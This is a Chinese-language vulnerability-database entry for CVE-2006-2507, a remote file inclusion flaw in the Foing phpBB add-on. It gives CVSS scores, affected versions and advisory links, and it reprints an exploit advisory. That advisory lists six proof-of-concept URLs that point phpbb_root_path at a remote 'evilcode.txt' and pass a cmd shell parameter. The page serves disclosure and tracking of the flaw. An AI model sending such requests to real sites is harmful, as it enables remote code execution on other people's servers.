CVE-2006-2507
CVSS7.5
发布时间 :2006-05-22 15:02:00
修订时间 :2011-03-07 21:36:19
NMCOE    

[原文]Multiple PHP remote file inclusion vulnerabilities in Teake Nutma Foing 0.2.0 through 0.7.0, as used with phpBB, allow remote attackers to execute arbitrary PHP code via a URL in the phpbb_root_path parameter in (1) index.php, (2) song.php, (3) faq.php, (4) list.php, (5) gen_m3u.php, and (6) playlist.php.


[CNNVD]Foing 多个远程文件包含漏洞(CNNVD-200605-401)

        Foing是一款mp3数据库支持脚本。
        Foing实现上存在输入验证漏洞,攻击者可以利用这个漏洞包含远程文件,导致执行任意PHP代码。
        在Foing的config.php文件中,存在以下有漏洞的代码:
                define('FOING_INSTALLED', true);
        $phpbb_root_path = '../';
        $foing_prefix = $table_prefix;
        ?>
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:teake_nutma:foing:0.5.0
cpe:/a:teake_nutma:foing:0.4.0
cpe:/a:teake_nutma:foing:0.3.0
cpe:/a:teake_nutma:foing:0.2.0
cpe:/a:teake_nutma:foing:0.6.0
cpe:/a:teake_nutma:foing:0.7.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2507
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2507
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200605-401
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/26425
(UNKNOWN)  XF  foing-phpbb-multiple-file-include(26425)
http://www.vupen.com/english/advisories/2006/1793
(UNKNOWN)  VUPEN  ADV-2006-1793
http://www.securityfocus.com/bid/17963
(UNKNOWN)  BID  17963
http://www.securityfocus.com/archive/1/archive/1/433824/100/0/threaded
(VENDOR_ADVISORY)  BUGTRAQ  20060512 [Kurdish Security # 7] Foing Remote File Include Vulnerability [PHPBB]
http://secunia.com/advisories/20092
(VENDOR_ADVISORY)  SECUNIA  20092
http://kurdishsecurity.blogspot.com/2006/05/kurdish-security-7-foing-remote-file.html
(VENDOR_ADVISORY)  MISC  http://kurdishsecurity.blogspot.com/2006/05/kurdish-security-7-foing-remote-file.html
http://www.securityfocus.com/archive/1/archive/1/435302/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060529 Foing Remote File Include Vulnerability [PHPBB]
http://www.osvdb.org/25564
(UNKNOWN)  OSVDB  25564
http://securityreason.com/securityalert/932
(UNKNOWN)  SREASON  932

- 漏洞信息

Foing 多个远程文件包含漏洞
高危 输入验证
2006-05-22 00:00:00 2006-05-22 00:00:00
远程  
        Foing是一款mp3数据库支持脚本。
        Foing实现上存在输入验证漏洞,攻击者可以利用这个漏洞包含远程文件,导致执行任意PHP代码。
        在Foing的config.php文件中,存在以下有漏洞的代码:
                define('FOING_INSTALLED', true);
        $phpbb_root_path = '../';
        $foing_prefix = $table_prefix;
        ?>
        

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://foing.sourceforge.net/

- 漏洞信息 (1778)

Foing <= 0.7.0 (phpBB) Remote File Inclusion Vulnerability (EDBID:1778)
php webapps
2006-05-12 Verified
0 Kurdish Security
N/A [点击下载]
# Kurdish Security Advisory
# Original Advisory : http://kurdishsecurity.blogspot.com/2006/05/kurdish-security-7-foing-remote-file.html
# Foing Remote File Include Vulnerability [PHPBB] :}
# "Ey Tarih ya sana basarilar atfedecegiz ya da seni yasanmamis sayacagiz ." Abdullah Ocalan
# STOP THE MASSACRE IN THE TURKEY! FREEDOM FOR KURDISTAN !
# Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com & botan@linuxmail.org
# Risk : High
# Class : Remote
# Script : Foing
# Script Website : http://foing.sourceforge.net/
# Version : Foing 0.7.0
                 0.6.0
                 0.5.0
                 0.4.0
                 0.3.0
                 0.2.0
# w0rkz : "Powered by foing"

# Thanks : B3g0k, Nistiman, Flot, Netqurd, Darki, Azad, ColdHackers, Kurdistan Cyber Army etc..

--------------------------------------------------------------------------------

# cmd shell example:
# cmd shell variable: ($_GET[cmd]);

Vulnerable code :

Get along at directory config.php

did you meet of ..

<?php

define('FOING_INSTALLED', true);

$phpbb_root_path = '../';
$foing_prefix = $table_prefix;

?>

Proof Of Concept :
http://www.r0xed.com/[foingpath]/index.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/song.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/faq.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/list.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/gen_m3u.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a
http://www.r0xed.com/[foingpath]/playlist.php?phpbb_root_path=http://evilcode.txt?&cmd=uname -a

# milw0rm.com [2006-05-12]
		

- 漏洞信息

25564
phpBB foing Module playlist.php phpbb_root_path Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

foing contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to index.php, song.php, faq.php, list.php, gen_m3u.php and playlist.php not properly sanitizing user input supplied to the 'phpbb_root_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

- 时间线

2006-05-12 Unknow
2006-05-12 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站